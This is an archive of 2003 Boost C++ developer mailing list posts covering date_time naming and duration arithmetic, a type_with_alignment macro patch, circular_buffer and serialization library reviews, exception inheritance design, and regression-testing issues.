> But now that I think about it would seems like it might
> be possible to provide the inverse interface...
Yeah, easy even.
>> BTW, why plural hours, minutes, seconds, but singular millisec,
>> microsec, nanosec?
>
> Yikes! They probably all should be plural. Problem is the abbreviated
> 'millisecs' doesn't sound right to me, so perhaps that's the reason
Well, abbrevs just don't sound right. Bite the bullet and use the
full names, please!
--
Dave Abrahams
Boost Consulting
www.boost-consulting.com
___
Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] Problem with type_with_alignment.hpp
On Wednesday 03 September 2003 02:27 pm, Hartmut Kaiser wrote: > The current version of the file type_with_alignment.hpp gives spourios > errors, because some macro expansion code generates '>>' instead of '> > > >' (closing template brackets). The corresponding fixing patch is Thanks. I also fixed this in CVS this morning, with _precisely_ the same patch :) Doug ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: Problem with type_with_alignment.hpp
Hartmut Kaiser wrote: Hi all, The current version of the file type_with_alignment.hpp gives spourios errors, because some macro expansion code generates '>>' instead of '> ' (closing template brackets). The corresponding fixing patch is attached. Just out of curiousity: Is this a workaround for a compiler bug? I think I remember that if generated by the preprocessor, tokens need to be glued with ## to form a single new token like >>, otherwise even two consecutive >'s will be treated like two tokens. My colleague says I'm wrong. Am I? :) Regards, Daniel -- Daniel Frey aixigo AG - financial training, research and technology Schloß-Rahe-Straße 15, 52072 Aachen, Germany fon: +49 (0)241 936737-42, fax: +49 (0)241 936737-99 eMail: [EMAIL PROTECTED], web: http://www.aixigo.de ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
RE: [boost] Re: circular_buffer ver. 3.3 [long]
I confirm that the test works on MSVC 7.1 debug and release apparently without warnings at level 4. As noted in another related post, it is not possible to check without separate compilation of the unit_test modules because these produce warnings and the exectuionmonitor requires language extensions to compile winnt.h. The test suite appears to be commendably thorough. A minor point: in the excellent documentation the link at 'documentation' is broken. "For more information how to use the circular buffer see the documentation. " The docs example compiles free of warnings _without_ MS language extensions, so I think we can be reasonably confident that the code is strictly Standard. I did note that #include should I think be .hpp? Circular buffer documentation is still at 3.1 whereas code is 3.3. More over-commented examples of usage would also always be welcome of course. Use of other containers... Looking good! Paul Paul A Bristow, Prizet Farmhouse, Kendal, Cumbria, LA8 8AB UK +44 1539 561830 Mobile +44 7714 33 02 04 mailto:[EMAIL PROTECTED] | From: "Jan Gaspar" <[EMAIL PROTECTED]> | Subject: circular_buffer ver. 3.3 | > | > Another beast was born. You can find it at | > http://groups.yahoo.com/group/boost/files/circular_buffer.zip | | | This circular_buffer works on MSVC 6.5 and Intel C++ 7 and also compiles on | BC++B 6.4. ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: Serialization Library Draft # 10
Robert Ramey <[EMAIL PROTECTED]> writes: > Differences from Previous Versions > > I believe this version of the serialization library addresses all > issues raised in the review of the previous version undertaken in > November 2002 ... Wow, Robert. I'm seriously impressed with how you rose to the challenge and am very proud to have been the manager for your first review. Good luck with round 2! -- Dave Abrahams Boost Consulting www.boost-consulting.com ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: Virtual inheritance in exception hierarchies
[EMAIL PROTECTED] writes: >> -Original Message- >> From: David Abrahams [mailto:[EMAIL PROTECTED] >> Sent: 02 September 2003 18:46 >> > >> > /2/ Instead of guessing we can ask him. He is amazingly >> tolerant of idiot >> > questions. :) >> >> Go for it ;-) > > Done: here is what he has to say (with my summary of the discussion elided > for brevity)... > >> -Original Message- >> From: Bjarne Stroustrup [mailto:[EMAIL PROTECTED] >> Sent: 03 September 2003 16:57 >> >> There wasn't much experience with exceptions at the time I >> wrote that. I saw it >> in a few examples and extrapolated. Note that the amount of >> anti-MI hype tends >> to eliminate even good examples from common use. >> >> >Are you still of the opinion that this design is both common and good >> >practice? And have you time to explain why? >> >> I think that multiple inherited exception can be good design, >> for all the usual reasons for MI. I don't think we >> need to go to virtual bases. That's a >> complication that I don't see the need for. >> >> The example quoted by Dave with the ambiguous what() should - >> as ever - be resolved by overriding what() in the derived class. I guess Bjarne misunderstood the example. It had nothing to do with what() at all. The problem is that if the exception has multiple std::exception base subobjects, a catch(std::exception const&) clause will fail to catch the exception at all. For people who are trying to avoid using catch(...) I consider this to be a terrible danger, since it happens only rarely, at runtime, and usually leads to termination. -- Dave Abrahams Boost Consulting www.boost-consulting.com ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Problem with type_with_alignment.hpp
Hi all, The current version of the file type_with_alignment.hpp gives spourios errors, because some macro expansion code generates '>>' instead of '> >' (closing template brackets). The corresponding fixing patch is attached. Regards Hartmut type_with_alignment.hpp.diff Description: Binary data ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Serialization Library Draft # 10
Fellow boosters, I have just uploaded a draft version of the serialization library to the files section under the file name serialization10.zip. Platforms I have successfuly compiled, linked, and run all code and tests on MSVC 7.0. I believe that with a few changes, the system could be made work with MSVC 6.0 as well. I have successfuly compiled all code and tests with GCC version 3.2.1 under cygwin. I am currently attempting to get tests to link and run. I have only built debug versions. In my experience this is not enough. Release builds and test are required. Differences from Previous Versions I believe this version of the serialization library addresses all issues raised in the review of the previous version undertaken in November 2002 Much finer grained modularity. Library consists of 109 source and header files as opposed to a handful before. More complete testing. 46 different tests are included. The majority are run with each different type of archive. Archives use templates rather than virtual inheritance for their implementation. This has the following effects: Code runs measurably faster. Since primitives are generated from templates, all the non-standard variations such as _int64, long long are taken care of automatically. Before it was a big headache to figure which set of functions should be code for which compilers. Should permit easier derivation from existing archive classes. Classes to be serialized can be assigned traits to control serialization . For example, this permits suppression of class information and/or tracking on a class by class basis. Default runtime typing can be replaced with a custom implementation on a class by class basis. Polymorphic base classes serialized through a pointers can be related to an external key (e.g. class name), as opposed to "forward declaring" them. An XML Archive implemention is now included. Othogonality between serialization specification and archive selection has been maintained. That, is any class for which serialization has been specified can be serialized to any archive type without any changes in serialization or archive code. Full integration into the boost build, and test system via jamfiles. Please feel free to examine, build and / or test. I look forward to your comments. Robert Ramey ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] work around known ?
On Wednesday 03 September 2003 07:49 am, Klaus Ahrens wrote: > Thread model: posix > gcc version 3.3 20030226 (prerelease) (SuSE Linux) G. This has been fixed in the FSF GCC 3.3. > i get an internal error > > .../boost-1.30.2/boost/function/function_template.hpp:389: internal > compiler error: in > c_expand_expr, at c-common.c:4321 > > maybe the expression in clear() is too complicated ? > > > 389:function_base::functor = > function_base::manager(function_base::functor, > detail::function::destroy_functor_tag); > > is there any known work around? I believe you can replace that statement with: this->functor = this->manager(this->functor, detail::function::destroy_functor_tag); and it should work. Doug ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
RE: [boost] Re: Virtual inheritance in exception hierarchies
> -Original Message- > From: David Abrahams [mailto:[EMAIL PROTECTED] > Sent: 02 September 2003 18:46 > > > > /2/ Instead of guessing we can ask him. He is amazingly > tolerant of idiot > > questions. :) > > Go for it ;-) Done: here is what he has to say (with my summary of the discussion elided for brevity)... > -Original Message- > From: Bjarne Stroustrup [mailto:[EMAIL PROTECTED] > Sent: 03 September 2003 16:57 > > There wasn't much experience with exceptions at the time I > wrote that. I saw it > in a few examples and extrapolated. Note that the amount of > anti-MI hype tends > to eliminate even good examples from common use. > > >Are you still of the opinion that this design is both common and good > >practice? And have you time to explain why? > > I think that multiple inherited exception can be good design, > for all the usual reasons for MI. I don't think we > need to go to virtual bases. That's a > complication that I don't see the need for. > > The example quoted by Dave with the ambiguous what() should - > as ever - be resolved by overriding what() in the derived class. -- Alan Griffiths For more information about Barclays Capital, please visit our web site at http://www.barcap.com. Internet communications are not secure and therefore the Barclays Group does not accept legal responsibility for the contents of this message. Although the Barclays Group operates anti-virus programmes, it does not accept responsibility for any damage whatsoever that is caused by viruses being passed. Any views or opinions presented are solely those of the author and do not necessarily represent those of the Barclays Group. Replies to this email may be monitored by the Barclays Group for operational or business reasons. ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] date_time naming
On Wed, 3 Sep 2003 Paul Bristow wrote > Although I an growing to like date_time, I have to agree that some names are > less than ideal. I found kday less than intuitive. This name actually comes from Calendrical Calculations. But I'm not stuck on it if you you have other suggestions. > Documentation of the labyrinthine (with good reason) structure is also > weak (or even wrong?) I'll be the first to acknowledge that the documentation needs to be improved, but honestly I'm much more focused on improving other elements of the library at the moment. To me the parts of the library that are basically undocumented are implementation details subject to change at any time. This makes it difficult for others to extend the library and I acknowledge that, but normally what happens is I either help or some users can actually figure it out. At the end of the day, it is an unfortunate but true that there are a finite number of hours in a day, I have to work for a living, and also have a life that does not involve staring at a computer screen. As a result I suspect there will always be a gap between what I and users would like to see here... >It seems to me that these observations at this stage highlight a weakness >of the current review process. Until code gets Boost acceptance status, > too few are prepared to really use it in anger on real projects, and only This is true, many users won't use it until it is part of boost. That said, you might be suprised at the number of early adopters prior to being part of boost. > then do lots of 'issues' start to surface. But by then, changes cause This is a natural part of software development. As more and new users bring new perspectives new issues surface. Implementations get rewritten as new knowledge is available. > grief to existing users, so there is a reluctance to 'improve' things >like naming. I have no problem with deprecating existing naming. Other libraries (eg: function) have done this as well. >Do we need a 'still may be subject to significant change' status to >distinguish from a 'pretty much tried and tested' status? No I don't think this is possible to measure. I think the regression tests are the real measure of this. Jeff ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: trouble with generating html compiler status pages
Beman Dawes wrote: > > Are you using run_tests.sh from CVS or your own script? > I did not know this script existed, so I have been doing everything manually as per the documentation. on http://www.boost.org/more/regression.html and making the obvious syntactic adjustments for unix > The kinds of troubles you describe can be caused by (1) wrong > BOOST_ROOT, (2) failing to cd $boost_root/status before running the > tests, (3) wrong arguments to the actual programs. > > >... > > > >I checked that BOOST_ROOT was set to > >/scratch8/buildman/builds/linux-boost-1.30.2/0.2/status/bin > > That looks very suspicious and is almost certainly wrong. Yes it is wrong, sorry that was a cut-and-paste error on my part when writing this email. > What I would expect is BOOST_ROOT set to: > > /scratch8/buildman/builds/linux-boost-1.30.2 yes it was, sorry about that - One thing I noticed is that this documentation indicates setting a BOOST_ROOT environment variable, whilst run_tests.sh uses boost_root, I was under the impression that case mattered - or is this irrelevant as boost_root is always passed into the executables on the command line rather than automatically referred to? I retried the processing of the regression test results using the run_tests.sh script and got exactly the same result from 'compiler_status', namely *** Error: std::runtime_error: boost::filesystem::directory_iterator constructor: "/scratch8/buildman/builds/linux_boost_1_30_2/0_2/tools/regression/build/bin": No such file or directory BOOST_ROOT (and boost_root in the script) were set to /scratch8/buildman/builds/linux_boost_1_30_2 so I believe it is the processing program that is adding the spurious '0_2' to the path. I also tried the script on IRIX (with the mipspro 7.3.1.3 compiler), with a script adjusted to set test_tools and toolset to mipspro. I got the following (good) output for the processing processing the regression test results for mipspro: Usage: bjam [bjam-args] | process_jam_log [locate-root] locate-root is the same as the bjam ALL_LOCATE_TARGET parameter, if any. Default is boost-root. boost_root: /local/buildman/builds/boost-1.30.2 locate_root: /local/buildman/builds/boost-1.30.2 no errors detected generating html tables: Using /local/buildman/builds/boost-1.30.2/status/bin/config_test.test to determine compilers no errors detected done! However when I look at the generated webpage (cs-IRIX64.html), most of the tests are marked as missing. e.g. for regex regex_grep_example_1, 2, 3, are marked as Missing, whilst regex_grep_example_4 is a Pass. Looking at the corresponding regress.log file, all of these four tests passed - and when located in $BOOST_ROOT running find . -name "*.xml" | grep example_ gives ./libs/regex/example/bin/regex_grep_example_1.test/mipspro/debug/threading-multi/test_log.xml ./libs/regex/example/bin/regex_grep_example_2.test/mipspro/debug/threading-multi/test_log.xml ./libs/regex/example/bin/regex_grep_example_3.test/mipspro/debug/threading-multi/test_log.xml ./libs/regex/example/bin/regex_grep_example_4.test/mipspro/debug/threading-multi/test_log.xml ./libs/regex/example/bin/regex_split_example_1.test/mipspro/debug/threading-multi/test_log.xml ./libs/regex/example/bin/regex_split_example_2.test/mipspro/debug/threading-multi/test_log.xml so it would appear the output is there - so I do not understand why the tests are Missing. Thanks for any help Matt ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] date_time naming
> > My first choice was 'time'. However, as I recall I ran into some > > nasty macros that interfered with that name, sigh. time_point would be > > another possibility, but it is longer. I'm certainly open to suggestions... > Disable the macros where neccessary? You can do it temporarily and > provide an alias typedef. But what other code would that break if you disable the macro? It's been so long that I can't even remember which platform, but these seems like opening a Can-O-Big-Worms Jeff ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] [date_time] time_duration division
>Jeff G wrote: > I'm thinking it would have to be defined like this > Duration / Duration --> Integer > >I think Duration / Duration --> double would be more appropriate. I have intentionally avoided floating point types in the library because there is no reason to suffer the loss of correctness associated with these types. Jeff ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: date_time naming
"Jeff Garland" <[EMAIL PROTECTED]> writes: > On Tue, 02 Sep 2003 16:50:09 -0400, David Abrahams wrote >> I'm just getting started with the date_time library, and I think I'm >> gonna like it. > > Let's hope so! > >> I have some quibbles with the naming choices though >> (shocking! me of all people!) For example, why is the nested >> namespace called posix_time instead of, simply, posix? Once you're > > Seemed clearer to me that it would be limited to time and not presume to > encompass all of posix. > >> in a date_time context it seems to me that _time adds nothing. >> Similarly, what's the "p" in ptime stand for? I can guess, but I >> can guess it's also redundant ;-) > > My first choice was 'time'. However, as I recall I ran into some nasty macros > that interfered with that name, sigh. time_point would be another > possibility, but it is longer. I'm certainly open to suggestions... Disable the macros where neccessary? You can do it temporarily and provide an alias typedef. -- Dave Abrahams Boost Consulting www.boost-consulting.com ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] BOOST TEST and strict /Za no lanugage extensions option -virturenot fully rewarded?
In trying to be virtuous and test everything compiled in strict mode as I write it, I am finding myself thwarted by BOOST minimal_test otherwise excellent test system. I aim to compile and test all my code with MSVC 7.1 in strict mode (option /Za - no language extensions and warning level 4). But in practice this is impossible using the minimal_test.cpp because #include also compiles Windows specific structured exception handling modules like winNT.h and these require MS extensions to compile - otherwise zillions of errors. It is possible to avoid this by compiling these modules separately with extensions enabled, building a library, then to compile MY modules strictly, and then linking to the library, but this is a bit more cumbersome than minimal_testing. This problem will also apply to all testing of Boost library items using the minimal test if we try to raise the code quality bar to 'strict' compilation. Is there any easier way round this so that minimal_test can be used without linking with a library? Paul Paul A Bristow, Prizet Farmhouse, Kendal, Cumbria, LA8 8AB UK +44 1539 561830 Mobile +44 7714 33 02 04 mailto:[EMAIL PROTECTED] PS The unit test modules (exception execution monitor) all compile in 'strict' with the following warnings, if this is any help. Most look easily fixable or ignorable, for example with #ifdef _MSC_VER // or BOOST_MSVC? #pragma warning (disable : 4511) // copy operator could not be generated #pragma warning (disable : 4512) // assignment operator could not be generated #endif // _MSC_VER -- Rebuild All started: Project: unit_test, Configuration: Debug Win32 -- Deleting intermediate files and output files for project 'unit_test', configuration 'Debug|Win32'. Compiling... execution_monitor.cpp i:\boost_1_30_2\libs\test\src\execution_monitor.cpp(156) : warning C4100: 'retVal' : unreferenced formal parameter i:\boost_1_30_2\libs\test\src\execution_monitor.cpp(186) : warning C4535: calling _set_se_translator() requires /EHa the command line options /EHc and /GX are insufficient Compiling... unit_test_suite.cpp I:/boost_1_30_0\boost\test\detail\unit_test_monitor.hpp(64) : warning C4121: 'boost::unit_test_framework::detail::unit_test_monitor' : alignment of a member was sensitive to packing I:/boost_1_30_0\boost\test\detail\unit_test_monitor.hpp(68) : warning C4512: 'boost::unit_test_framework::detail::unit_test_monitor' : assignment operator could not be generated I:/boost_1_30_0\boost\test\detail\unit_test_monitor.hpp(34) : see declaration of 'boost::unit_test_framework::detail::unit_test_monitor' I:/boost_1_30_0\boost\test\unit_test_log.hpp(82) : warning C4512: 'boost::unit_test_framework::checkpoint' : assignment operator could not be generated I:/boost_1_30_0\boost\test\unit_test_log.hpp(78) : see declaration of 'boost::unit_test_framework::checkpoint' unit_test_result.cpp I:/boost_1_30_0\boost\test\detail\unit_test_monitor.hpp(64) : warning C4121: 'boost::unit_test_framework::detail::unit_test_monitor' : alignment of a member was sensitive to packing I:/boost_1_30_0\boost\test\detail\unit_test_monitor.hpp(68) : warning C4512: 'boost::unit_test_framework::detail::unit_test_monitor' : assignment operator could not be generated I:/boost_1_30_0\boost\test\detail\unit_test_monitor.hpp(34) : see declaration of 'boost::unit_test_framework::detail::unit_test_monitor' i:\boost_1_30_2\libs\test\src\unit_test_result.cpp(85) : warning C4100: 'where_to' : unreferenced formal parameter i:\boost_1_30_2\libs\test\src\unit_test_result.cpp(86) : warning C4100: 'where_to' : unreferenced formal parameter i:\boost_1_30_2\libs\test\src\unit_test_result.cpp(214) : warning C4100: 'test_case_name' : unreferenced formal parameter C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\xutility(1244) : warning C4172: returning address of local variable or temporary i:\boost_1_30_2\libs\test\src\unit_test_result.cpp(133) : see reference to function template instantiation 'const _Ty &std::max(const _Ty &,const _Ty &)' being compiled with [ _Ty=boost::unit_test_framework::unit_test_counter ] unit_test_parameters.cpp unit_test_monitor.cpp I:/boost_1_30_0\boost\test\detail\unit_test_monitor.hpp(64) : warning C4121: 'boost::unit_test_framework::detail::unit_test_monitor' : alignment of a member was sensitive to packing I:/boost_1_30_0\boost\test\detail\unit_test_monitor.hpp(68) : warning C4512: 'boost::unit_test_framework::detail::unit_test_monitor' : assignment operator could not be generated I:/boost_1_30_0\boost\test\detail\unit_test_monitor.hpp(34) : see declaration of 'boost::unit_test_framework::detail::unit_test_monitor' I:/boost_1_30_0\boost\test\unit_test_log.hpp(82) : warning C4512: 'boost::unit_test_framework::checkpoint' : assignment operator could not be generated I:/boost_1_30_0\boost\test\unit_test_log.hpp(78) : see declaration of 'boost::unit_test_framework::checkpoint' I
RE: [boost] date_time naming
Although I an growing to like date_time, I have to agree that some names are less than ideal. I found kday less than intuitive. Documentation of the labyrinthine (with good reason) structure is also weak (or even wrong?) It seems to me that these observations at this stage highlight a weakness of the current review process. Until code gets Boost acceptance status, too few are prepared to really use it in anger on real projects, and only then do lots of 'issues' start to surface. But by then, changes cause grief to existing users, so there is a reluctance to 'improve' things like naming. Do we need a 'still may be subject to significant change' status to distinguish from a 'pretty much tried and tested' status? Paul Paul A Bristow, Prizet Farmhouse, Kendal, Cumbria, LA8 8AB UK +44 1539 561830 Mobile +44 7714 33 02 04 mailto:[EMAIL PROTECTED] | -Original Message- | From: [EMAIL PROTECTED] | [mailto:[EMAIL PROTECTED] Behalf Of David Abrahams | Sent: Tuesday, September 02, 2003 9:50 PM | To: boost | Subject: [boost] date_time naming | | | | I'm just getting started with the date_time library, and I think I'm | gonna like it. I have some quibbles with the naming choices though | (shocking! me of all people!) For example, why is the nested | namespace called posix_time instead of, simply, posix? Once you're in | a date_time context it seems to me that _time adds nothing. | Similarly, what's the "p" in ptime stand for? I can guess, but I can | guess it's also redundant ;-) | | | | -- | Dave Abrahams | Boost Consulting | www.boost-consulting.com | | ___ | Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost | | ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: [date_time] time_duration division
"Jeff Garland" <[EMAIL PROTECTED]> writes: > On Tue, 02 Sep 2003 18:27:59 -0400, David Abrahams wrote >> Suppose I want to know how many minutes there are in a particular >> duration d? My intuition says: >> >> d / minutes(1) >> >> But there's no such operator. Why not? > > An interesting point. Probably should be possible. While addition and > subtraction operators are specified in terms of durations division and > multiplication are defined with integers not other durations. I'm thinking it > would have to be defined like this > Duration / Duration --> Integer > > Anyway d.minutes() should do what you want. I think Duration / Duration --> double would be more appropriate. -- Dave Abrahams Boost Consulting www.boost-consulting.com ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] boost::date_time::time_resolutions
On Tue, 02 Sep 2003 19:10:03 -0400, David Abrahams wrote > Where is this documented, and what is "nano" in the table entry below? It isn't. nano is an enum value that isn't really useful for much except indexing into string tables like in the previous email. > static boost::date_time::time_resolutions resolution() > > Describes the resolution capability of the time_duration class. > > time_duration::resolution() --> nano Yep, this needs to be improved... Jeff ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] work around known ?
function_base::functor = function_base::manager(function_base::functor, detail::function::destroy_functor_tag); hi, when building boost-1.30.2 with gcc 3.3 mio ahrens 28 ( boost/function ) > gcc -v Reading specs from /usr/lib/gcc-lib/i486-suse-linux/3.3/specs Configured with: ../configure --enable-threads=posix --prefix=/usr --with-local-prefix=/usr/local --infodir=/usr/share/info --mandir=/usr/share/man --libdir=/usr/lib --enable-languages=c,c++,f77,objc,java,ada --disable-checking --enable-libgcj --with-gxx-include-dir=/usr/include/g++ --with-slibdir=/lib --with-system-zlib --enable-shared --enable-__cxa_atexit i486-suse-linux Thread model: posix gcc version 3.3 20030226 (prerelease) (SuSE Linux) i get an internal error .../boost-1.30.2/boost/function/function_template.hpp:389: internal compiler error: in c_expand_expr, at c-common.c:4321 maybe the expression in clear() is too complicated ? 389:function_base::functor = function_base::manager(function_base::functor, detail::function::destroy_functor_tag); is there any known work around? best regards k ahrens smime.p7s Description: S/MIME Cryptographic Signature
RE: [boost] Re: Lambda conflicts
> From: Markus Werle
> Subject: [boost] Re: Lambda conflicts
>
> {
> namespace l = boost::lambda;
>
> [...] l::_1 [...]
> }
> and lookup rules never bite
Yep, that's what I do, but it never looks quite so neat ;-)
> > Would be nice to solve the conflicts with boost::bind and
> > lambda::bind.
>
> The conflict is due to the existence of ::_1 in the boost library
> (placeholders.hpp)
>
> I requested ::_1 to be moved to namespace boost::bind or
> boost::anything_else some months ago.
> Peter Dimov rejected this, David Abrahamas rejected the
> rejection, http://groups.yahoo.com/group/Boost-Users/message/2880
> but then nothing happened. I consider the _1 living in global
> namespace
> as a really severe, annoying bug (OK, admittedly I consider
> most code not living in its own namespace at least as suboptimal)
>
> > Also there is, at least, a conflict with _1 between spirit
> and lambda
> > that has bitten me, perhaps others...
>
> As long as all those live in their own namespace
> a simple "using that::_1;" saves you from all pain.
> For me the namespace alias trick is the one to get around
> any failure, even with broken libraries at hand.
Thanks Markus. Perhaps ::_1 will vanish one day.
The bright spot is it smacks of an embarrassment of riches rather than a
paucity. It is nice to have such problems :-) If only I was more capable
then I could fix them...
> Markus
Regards,
Matt.
___
Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] [date_time] time_duration
On Tue, 02 Sep 2003 19:00:42 -0400, David Abrahams wrote
> The "fractional seconds" concept is undocumented. My guess it's
> something like:
>
> x.fractional_seconds() == x.ticks() % seconds(1).ticks()
>
> This needs to be nailed down.
Yep the docs don't say enough on this.
Basically, time durations are represented as a count at a compile-time
specified resolution. That is, a count of 1 can represent a millisecond,
nanosecond, femtosecond (just to pick one ;-), or whatever. So fractional
seconds is a generic way of handling the sub-second remainder of these without
having to provide every possible combination. That is, the fractional seconds
provides the count of 'whatever time units' that are left over after stripping
away the duration greater than a second. To really use fractional_seconds you
call the resolution traits by calling:
time_duration::rep_type::res_adjust()
This method provides you with the count of fractional seconds used by the time
duration. This little program might illustrate things...
//print_resolution.cpp
#include "boost/date_time/posix_time/posix_time.hpp"
#include
//Must match with time_resolutions enum in date_time/time_defs.h
const char* const resolution_names[] = {"Second", "Deci", "Centi", "Milli",
"Ten_Thousanth", "Micro", "Nano"};
int
main()
{
using namespace boost::posix_time;
std::cout << "Resolution: "
<< resolution_names[time_duration::rep_type::resolution()]
<< " -- Ticks per second: "
<< time_duration::rep_type::res_adjust() << std::endl;
}
//output
Resolution: Micro -- Ticks per second: 100
> Also, the assymetry of those nice Construction by Count factories
> down to nanosec(x) with the accessors which only include units down
> to seconds() but not millisec()...nanosec() is disturbing and
> frankly inconvenient.
Ok, but I'm interested in your use case as once I have a time_duration I don't
normally care about a particular sub-second resolution. But now that I think
about it would seems like it might be possible to provide the inverse interface...
> BTW, why plural hours, minutes, seconds, but singular millisec,
> microsec, nanosec?
Yikes! They probably all should be plural. Problem is the abbreviated
'millisecs' doesn't sound right to me, so perhaps that's the reason
Jeff
___
Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: Lambda conflicts
Hurd, Matthew wrote:
> Lambda's v cool but it tends not to play fair when promoted to global
> scope
promoting to global scope is not a good idea anyway.
> and lambda::_1 just doesn't look right ;-)
{
namespace l = boost::lambda;
[...] l::_1 [...]
}
and lookup rules never bite
> Would be nice to solve the conflicts with boost::bind and lambda::bind.
The conflict is due to the existence of ::_1 in the boost library
(placeholders.hpp)
I requested ::_1 to be moved to namespace boost::bind or
boost::anything_else some months ago.
Peter Dimov rejected this, David Abrahamas rejected the rejection,
http://groups.yahoo.com/group/Boost-Users/message/2880
but then nothing happened. I consider the _1 living in global namespace
as a really severe, annoying bug (OK, admittedly I consider most code
not living in its own namespace at least as suboptimal)
> Also there is, at least, a conflict with _1 between spirit and lambda that
> has bitten me, perhaps others...
As long as all those live in their own namespace
a simple "using that::_1;" saves you from all pain.
For me the namespace alias trick is the one to get around
any failure, even with broken libraries at hand.
Markus
--
Build your own Expression Template Library with Daixtrose!
Visit http://daixtrose.sourceforge.net/
___
Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] [date_time] time_duration division
On Tue, 02 Sep 2003 18:27:59 -0400, David Abrahams wrote > Suppose I want to know how many minutes there are in a particular > duration d? My intuition says: > > d / minutes(1) > > But there's no such operator. Why not? An interesting point. Probably should be possible. While addition and subtraction operators are specified in terms of durations division and multiplication are defined with integers not other durations. I'm thinking it would have to be defined like this Duration / Duration --> Integer Anyway d.minutes() should do what you want. Jeff ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] date_time naming
On Tue, 02 Sep 2003 16:50:09 -0400, David Abrahams wrote > I'm just getting started with the date_time library, and I think I'm > gonna like it. Let's hope so! > I have some quibbles with the naming choices though > (shocking! me of all people!) For example, why is the nested > namespace called posix_time instead of, simply, posix? Once you're Seemed clearer to me that it would be limited to time and not presume to encompass all of posix. > in a date_time context it seems to me that _time adds nothing. > Similarly, what's the "p" in ptime stand for? I can guess, but I > can guess it's also redundant ;-) My first choice was 'time'. However, as I recall I ran into some nasty macros that interfered with that name, sigh. time_point would be another possibility, but it is longer. I'm certainly open to suggestions... Jeff ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: circular_buffer ver. 3.3
"Pavel Vozenilek" <[EMAIL PROTECTED]> writes: > "David Abrahams" <[EMAIL PROTECTED]> wrote in message > news:[EMAIL PROTECTED] > ... >> Is there some reason you're defining your own iterators instead of >> using iterator_facade or iterator_adaptor? >> > iterator_adaptor is used here, AFAICS. Normally you don't define your own operator[], which is why I assumed it was not. It might make sense if you really want operator[] to return a reference, I guess. -- Dave Abrahams Boost Consulting www.boost-consulting.com ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Is there any way to accelerate the compi
hello all, I used boost::tokenizer in one of my project and I found that it took very long time to accomplish the building process when I include boost::tokenizer in one of my cpp file. Is there any way to accelerate the process. Here's some information about my machine. Computer: DELL Demension 2350 CPU: P4 2.0G RAM: 256M OS; Microsoft Windows 2003 Web edition Compiler: Microsoft Visual C++ 6.0 Sp5 boost: boost 1.30.0 TIA Xue Jianmin, Phipps P&D MTone Wireless Inc., E-mail: [EMAIL PROTECTED] __ Phipps Xue Tel:(021)24028533(W) Mobile:13501831513 Email:[EMAIL PROTECTED] === µ±µ±ÍøÈ«³¡ÒôÏñ5Õ۷ⶥ£¬ÓŻݼ´½«½áÊø£¡ (http://ad4.sina.com.cn/sina/dangdang0825.html) ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
Re: [boost] [type traits] type_with_alignment/alignment_of on GCC
> Why not do the same for other compilers? For instance, on GCC: Last time I checked __align_of didn't work with templates, which is a bit of a showstopper in this case.. John. ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Re: circular_buffer ver. 3.3
"David Abrahams" <[EMAIL PROTECTED]> wrote in message news:[EMAIL PROTECTED] ... > Is there some reason you're defining your own iterators instead of > using iterator_facade or iterator_adaptor? > iterator_adaptor is used here, AFAICS. /Pavel ___ Unsubscribe & other changes: http://lists.boost.org/mailman/listinfo.cgi/boost
[boost] Has www.boost.org been hacked?
